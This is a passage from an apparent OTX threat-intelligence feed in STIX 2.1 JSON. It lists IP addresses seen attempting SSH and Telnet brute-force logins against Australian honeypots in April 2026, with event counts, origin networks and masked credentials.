      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.59.159.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--50fffe02-7c9f-444a-acfc-d7dcb1be17b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.183.141.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AO. ASN(s): 36907. Organisation(s): TVCaboAngola. Usernames observed (masked): r**t. Passwords observed (masked): q********..",
      "id": "indicator--19a2fe94-64cc-47bb-95a8-dd54bc2d50e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.222.249.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T14:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--05a0a6ce-e91b-40dc-99e1-583f33d6309c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T14:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T14:15:02.000Z",
      "valid_until": "2026-05-23T14:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 141319. Organisation(s): Net Hub. Usernames observed (masked): ***, t**t. Passwords observed (masked): ***, t*****!.",
      "id": "indicator--83cc3ee7-ea1f-45f6-9f83-3f2dfaa73f5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.158.40.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 63567. Organisation(s): Suqian Pugongying Network Service Co.,Ltd.",
      "id": "indicator--67ebfe7f-46dd-4151-94dd-3fde6cc35727",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.40.13.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t. Passwords observed (masked): R********#.",
      "id": "indicator--ec932e7e-5472-4133-95d5-d9ea68ce74f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.211.76.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): t**t. Passwords observed (masked): p******d.",
      "id": "indicator--c32cdb3c-8476-4a67-9e96-426daa87b3d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.197.155.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--d980acd5-66c7-436e-a278-5bc25547bb13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.197.163.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 23693. Organisation(s): PT. Telekomunikasi Selular. Usernames observed (masked): d****y. Passwords observed (masked): d********4.",
      "id": "indicator--1012ca89-f717-4a64-b579-b90f90289904",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.13.96.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--166b7b60-d8f0-4826-a69a-fd19bf46a9f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.109.171.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 159. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, ***, 3**********4, m***a, p******s. Passwords observed (masked): 1*******9, 1********!, 2****0, 3***********4, 3**********4.",
      "id": "indicator--7e9a8c93-fdd8-4bed-83f0-9bb64ed615e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.215.167.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t. Passwords observed (masked): a*******+.",
      "id": "indicator--6e0b97f1-2496-4ec0-99ca-b0cd29192b84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '188.130.206.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): Q********#.",
      "id": "indicator--91325b65-b7de-42f0-86a3-6898797ad278",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.156.212.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): g****v, 3**********4, u**r. Passwords observed (masked): 3***********4, 3**********4, a*****3, g********3.",
      "id": "indicator--2ac32364-923f-4896-8ad9-060f87b7e62a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.98.148.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 432. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 209693. Organisation(s): Oc Networks Limited. Usernames observed (masked): r**t, 3**********4, u****u, f****e, f*****r. Passwords observed (masked): 3***********4, 3**********4, !****!, ***, ***.",
      "id": "indicator--d887d3dd-e0ad-4ef3-9353-a1033a24b2a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.188.83.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:15:03.000Z",
      "valid_until": "2026-05-23T15:15:01.000Z"
    },
    {
      "created": "2026-04-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZM. ASN(s): 328646. Organisation(s): Infratel-Corporation. Usernames observed (masked): o**o, r**t. Passwords observed (masked): C*****1, o****@.",
      "id": "indicator--6e18d657-dcc9-4443-876c-633fa85c1bc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.23.122.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:15:11.000Z",
      "valid_until": "2026-05-23T16:15:08.000Z"
    },
    {
      "created": "2026-04-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t, 3**********4, b*******a, f*****r, n*****r. Passwords observed (masked): 3***********4, 1**4, 1*****a, 2******C, 3**********4.",
      "id": "indicator--c59874c6-dd04-4364-90e0-3ebbdcd4aa13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.218.63.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:15:11.000Z",
      "valid_until": "2026-05-23T16:15:08.000Z"
    },
    {
      "created": "2026-04-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--92f01567-139e-4366-8889-cefb268554b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.77.138.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:15:11.000Z",
      "valid_until": "2026-05-23T16:15:08.000Z"
    },
    {
      "created": "2026-04-21T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 360. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 132280. Organisation(s): Symphony Communication Thailand PCL.. Usernames observed (masked): r**t, 3**********4, u****u, b*******a, **. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1*****a, 2******C.",
      "id": "indicator--5c860d12-d5ac-4eb3-a47a-9d34bb7f9c76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.118.24.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:15:11.000Z",
      "valid_until": "2026-05-23T16:15:08.000Z"
    },
    {
      "created": "2026-04-21T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--057d9c7b-6988-468c-a1ef-0105b4653114",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T16:15:11.000Z",
      "valid_until": "2026-05-23T16:15:08.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17577. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--20c41c01-e66f-47a4-a865-98f0251b888d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.44.217.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17917. Organisation(s): Quadrant Televentures Limited.",
      "id": "indicator--9e328a1d-fc69-44c3-a673-e847f2a2099e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.253.248.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d8e27924-45e0-4e47-8ccc-d94583e53987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.112.209.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): **, ***, *, *, r**t.",
      "id": "indicator--bbb74f88-a9ca-4e0f-b05d-7d411b70c2f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.232.177.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 141. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A.. Usernames observed (masked): r**t, t**t, 3**********4, ***, a***k. Passwords observed (masked): 1****3, 3***********4, 3**********4, A****!, L*******..",
      "id": "indicator--c2472e0d-1194-48e9-ace4-07d25b18a96e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.78.5.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): u****u. Passwords observed (masked): m****r.",
      "id": "indicator--d4e5a6b0-9cdf-45e4-b2f2-63625f3bfb9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.4.3.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): a***n, p******s, r**t, **, u****u. Passwords observed (masked): 1**********E, 3***********4, A******3, P********2, q*******!.",
      "id": "indicator--5a5a836f-f5be-4cb0-9ea1-926d5c859631",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.248.34.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--077cb72f-5896-4c4f-a462-7af8034c8c5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MU. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd. Usernames observed (masked): 3**********4, ***. Passwords observed (masked): 3**********4, b***5.",
      "id": "indicator--008c665f-284a-46e3-8c72-35468af40b0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.191.229.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--ff525342-650a-4fb0-982e-3c4b39ac5bb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.238.236.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 57. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): *, 1*****7, 1******8, 1********0, *.",
      "id": "indicator--e2bbf24f-c034-45a5-8df5-fbec2ec3c768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '52.250.210.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T17:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--3bb87bd1-abb3-4fd1-a8a6-54a00ca01be9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.158.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T17:15:03.000Z",
      "valid_until": "2026-05-23T17:15:01.000Z"
    },
    {
      "created": "2026-04-21T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A.. Usernames observed (masked): r**t, s***m, s*****e, u****u, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******3, H*********4, P******d.",
      "id": "indicator--ba263347-100a-4fd1-9842-b384d3e7ae76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.49.23.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T18:15:04.000Z",
      "valid_until": "2026-05-23T18:15:01.000Z"
    },
    {
      "created": "2026-04-21T18:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, u****u, 3**********4, s***m, s*****e. Passwords observed (masked): 3***********4, 3**********4, 1******4, 4****6, ***.",
      "id": "indicator--93a2d292-1696-4b6a-81e8-4404a59eda1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-21T18:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
